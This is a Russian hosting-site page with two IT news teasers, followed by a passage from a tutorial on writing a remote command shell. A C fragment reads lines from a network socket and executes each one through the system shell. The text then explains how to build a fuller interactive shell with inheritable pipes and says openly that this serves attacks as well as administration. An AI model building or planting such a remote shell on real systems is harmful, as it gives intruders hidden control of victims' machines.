Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
a = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0);
// если соединение неожиданно закрылось, выходим из цикла
if (a < 1) break;
// увеличиваем счетчик количества принятых символов и внедряем на конец строки завершающий ноль
p += a; buf[p] = 0;
// строка содержит символ переноса строки?
if ((ch = strpbrk(buf, xEOL)) != 0)
{ // да, содержит
// отсекаем символ переноса и очищаем счетчик
*ch = 0; p = 0;
// если строка не пуста, передаем ее командному интерпретатору на выполнение
if (strlen(buf))
{
sprintf(cmd, "%s%s", SHELL, buf); exec(cmd);
} else break; // если это пустая строка – выходим
}
}
Полноценный shell
Для комфортного администрирования удаленной системы (равно как и атаки на нее) возможностей «слепого» shell более чем недостаточно, и неудивительно, если у вас возникнет желание хоть чуточку его улучшить, достигнув «прозрачного» взаимодействия с терминалом. И это действительно можно сделать! В этом нам помогут каналы (они же «пайпы» – от английского pipe).
Каналы, в отличие от сокетов, вполне корректно подключаются к дескрипторам ввода/вывода, и порожденный процесс работает с ними точно так же, как и со стандартным локальным терминалом, за тем исключением, что вызовы WriteConsole никогда не перенаправляются в пайм и потому удаленный терминал может работать далеко не со всеми консольными приложениями.
Корректно написанный shell требует создания как минимум двух пайпов – один будет обслуживать стандартный ввод, соответствующий дескриптору hStdInput, другой – стандартный вывод, соответствующий дескрипторам hStdOutput и hStdError. Дескрипторы самих пайпов обязательно должны быть наследуемыми, в противном случае порожденный процесс просто не сможет до них «дотянуться». А как сделать их наследуемыми? Да очень просто – всего лишь взвести флаг bInheritHandle в состояние TRUE, передавая его функции CreatePipe вместе со структурой LPSECURITY_ATTRIBUTES, инициализированной вполне естественным образом.